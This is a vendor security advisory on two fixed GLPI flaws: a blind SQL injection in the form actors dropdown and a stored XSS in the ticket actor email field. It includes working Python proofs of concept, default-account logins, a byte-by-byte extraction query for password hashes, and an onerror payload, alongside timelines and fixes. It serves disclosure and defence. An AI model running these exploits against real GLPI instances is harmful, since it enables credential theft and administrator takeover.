Security incident? Suspected breach? 09 71 18 27 69csirt@synacktiv.com

SQL Injection and Stored XSS Vulnerabilities in GLPI 11

03/11/2026 - Download

Product

GLPI

Severity

High

Fixed Version(s)

11.0.10

Affected Version(s)

GLPI ≤ 11.0.9

Authors

Marin Cornuot

Description

Presentation

GLPI is an open source solution for IT asset management and help desk.

 

Issue(s)

Synacktiv discovered two vulnerabilities in GLPI. Both require authentication and are reachable by low-privileged accounts:

  • Blind SQL injection in the form "actors" dropdown (group_conditions).
  • Stored cross-site scripting through the ITIL actor email address (alternative_email).


 

Affected versions

Testing was performed against a stock glpi/glpi:latest instance running version 11.0.8.

Timeline

Date Description
2026.07.06 Advisory sent to security@glpi-project.org
2026.09.30 GLPI 11.0.10 published
2026.11.03 Public release

 

Technical details

Blind SQL injection in the form "actors" dropdown

Description

GLPI exposes a dropdown endpoint that populates the list of actors (requesters, watchers, assignees) when a user answers a form. The controller handling this endpoint, QuestionActorsDropdownController, reads the group_conditions parameter directly from the HTTP request and merges it, unmodified, into the query builder used to look up matching groups.

The relevant code path is the following:

  • src/Glpi/Controller/Form/QuestionActorsDropdownController.php:68
  'group_conditions' => $request->request->all('group_conditions'),
  • src/AbstractRightsDropdown.php:319 — the attacker-controlled array is appended to the WHERE conditions ($additional_conditions)
        $groups = $DB->request([
            'FROM' => Group::getTable(),
            'WHERE' => [
                'name' => ["LIKE", "%$text%"],
            ] + getEntitiesRestrictCriteria(
                table: Group::getTable(),
                is_recursive: true,
            ) + $additional_conditions,
            'START' => $start,
            'LIMIT' => $page_size,
        ]);
  • src/DBmysqlIterator.php:580 — when the array key is RAW, the key is concatenated verbatim into the SQL statement:
            } elseif ($name === 'RAW') {
                $key = key($value);
                $value = current($value);
                $ret .= '((' . $key . ') ' . $this->analyseCriterion($value) . ')';

As a result, a request of the form group_conditions[RAW][]=1 inserts directly into the WHERE clause with no escaping or parameterization.

The endpoint is declared with the STRATEGY_AUTHENTICATED access strategy, and checkFormAccessPolicies() grants access to any user permitted to answer the form. The two forms shipped by default are answerable by all users, so the endpoint is reachable by any authenticated account, down to the Self-Service profile.

The following proof of concept authenticates as the default post-only account and turns the endpoint into a time-based boolean oracle. The SLEEP() call is wrapped in a derived table so that it fires once per request:

import requests, re, time
B = "http://glpi.local"
s = requests.Session()
tok = re.search(r'name="_glpi_csrf_token" value="([a-f0-9]{40,})"', s.get(B+"/index.php").text).group(1)
s.post(B+"/front/login.php", data={"login_name":"post-only","login_password":"postonly",
                                    "_glpi_csrf_token":tok,"submit":"Post"})
csrf = re.search(r'name="_glpi_csrf_token" value="([a-f0-9]{40,})"', s.get(B+"/").text).group(1)
 
def probe(cond):   # SLEEP wrapped in a derived table -> fires once per request
    rk = f"(SELECT 1 FROM (SELECT IF({cond},SLEEP(3),0))z)"
    data = [("allowed_types[]","Group"), ("searchText",""), ("page_limit","10"),
            ("form_id","1"), (f"group_conditions[RAW][{rk}]","1")]
    t = time.time()
    s.post(B+"/Form/Question/ActorsDropdown", data=data,
           headers={"X-Requested-With":"XMLHttpRequest","X-Glpi-Csrf-Token":csrf})
    return round(time.time()-t, 2)
 
print("TRUE  (1=1):", probe("1=1"))    # -> ~3.0s  (injected delay)
print("FALSE (1=2):", probe("1=2"))    # -> ~0.0s

This injection can also be observed directly through an HTTP request with the injected payload SLEEP(5) which takes ~5000ms to receive a response from the server:

SQL injection triggers a 5 seconds delay in the HTTP response.

Since the same request behaves as a boolean and time-based oracle, arbitrary data can be extracted byte by byte, for example with a condition such as:

ASCII(SUBSTR((SELECT password FROM glpi_users WHERE id=2),{pos},1)) > {n}

This allows to recover arbitrary data from the databse including super-admin passwords hashes. 

Impact

Successful exploitation of this vulnerability could enable any authenticated user, including the lowest-privileged Self-Service profile, to read arbitrary data from the application database through a blind SQL injection. This includes the glpi_users password hashes and API tokens, which could subsequently be used to authenticate as a super-admin account and fully compromise the application.

The injection occurs in a SELECT context through mysqli::query, which does not allow stacked queries; the vector is therefore limited to read access. The disclosure of credential material is, however, sufficient to reach full administrative control of the instance.

Recommendation

The endpoint should not accept a client-supplied condition. The allowed keys should be whitelisted (is_requester / is_watcher / is_assign mapped to 1), or the $_SESSION indirection already used in Dropdown::getDropdownValue should be reused. At a minimum, RAW and numeric keys should be rejected when they originate from request input.

Upgrade to GLPI 11.0.10 or later.

Stored cross-site scripting through the ITIL actor email address

Description

GLPI allows an actor (requester, watcher or assignee) to be added to a ticket by email address alone, through the alternative_email field. Two issues combine to make this field a stored cross-site scripting vector.

First, email validation can be bypassed. GLPIMailer::validateAddress() (src/GLPIMailer.php:185) relies on the egulias RFCValidation strategy rather than NoRFCWarningsValidation. RFCValidation accepts quoted-string local parts, so an address whose local part is a quoted string containing HTML passes validation and is stored as-is:

"<img src=x onerror=alert(document.domain)>"@foo.xyz  

Second, the stored value is rendered without escaping. The actor widget writes the value into a data attribute, but the select2 JavaScript reads it back with jQuery .data(), which HTML-decodes the attribute and then injects it into the DOM as HTML.

In templates/components/itilobject/actors/field.html.twig:

:99   const alt_email = element.data('alternative-email');   // decoded
:106  text = alt_email;                                       // not escaped
:161  option_text = `<span class="actor_text">${text}</span>`;
:162  $(`... ${option_text} ...`)                             // parsed as HTML

Because templateSelection runs when the widget initializes, the payload executes as soon as the ticket is opened.

The payload requires a literal space before onerror; the slash-delimited form <img/src=x/onerror=...> does not execute, as /onerror is parsed as part of the src attribute. The spaced form still passes egulias validation.

The client-side field blocks the < and > characters, but this control is enforced only in JavaScript; a direct POST or API request bypasses it. The following proof of concept authenticates as the default tech account and stores the payload on a new ticket:

import requests, re, json
B = "http://glpi.local"
s = requests.Session()
tok = re.search(r'name="_glpi_csrf_token" value="([a-f0-9]{40,})"', s.get(B+"/index.php").text).group(1)
s.post(B+"/front/login.php", data={"login_name":"tech","login_password":"tech",
                                   "_glpi_csrf_token":tok,"submit":"Post"})
csrf = re.search(r'name="_glpi_csrf_token" value="([a-f0-9]{40,})"',
                 s.get(B+"/front/ticket.form.php").text).group(1)
payload = '"<img src=x onerror=alert(document.domain)>"@x.yz'
actors = {"observer":[{"itemtype":"User","items_id":0,"use_notification":True,
                       "default_email":"","alternative_email":payload}]}
r = s.post(B+"/front/ticket.form.php", data={
    "add":"1","name":"actor xss","content":"poc","type":"1","status":"1",
    "urgency":"3","impact":"3","priority":"3","itilcategories_id":"0","entities_id":"0",
    "_actors": json.dumps(actors), "_glpi_csrf_token": csrf}, allow_redirects=False)
print("ticket:", r.headers.get("Location"))

Opening the resulting ticket as any agent or administrator executes the payload (here, alert(document.domain)) in their authenticated session. 

Stored XSS triggered when an authorized user accesses the ticket.

 

Impact

Successful exploitation of this vulnerability could enable a low-privileged user, able only to create or update a ticket and set an actor, to store arbitrary JavaScript that executes in the browser session of any staff member who opens the ticket. Because the script runs in the victim's authenticated context, it could be leveraged to perform actions on their behalf or to take over a higher-privileged account, up to and including an administrator, through the normal support workflow.

Recommendation

The text value should be HTML-encoded at field.html.twig:106 (for example with _.escape, as the sibling branches already do). In addition, Toolbox::ACTOR_EMAIL_VALIDATION_REGEX should be enforced server-side in CommonITILActor / Ticket rather than relying on the egulias RFCValidation strategy.

Upgrade to GLPI 11.0.10 or later.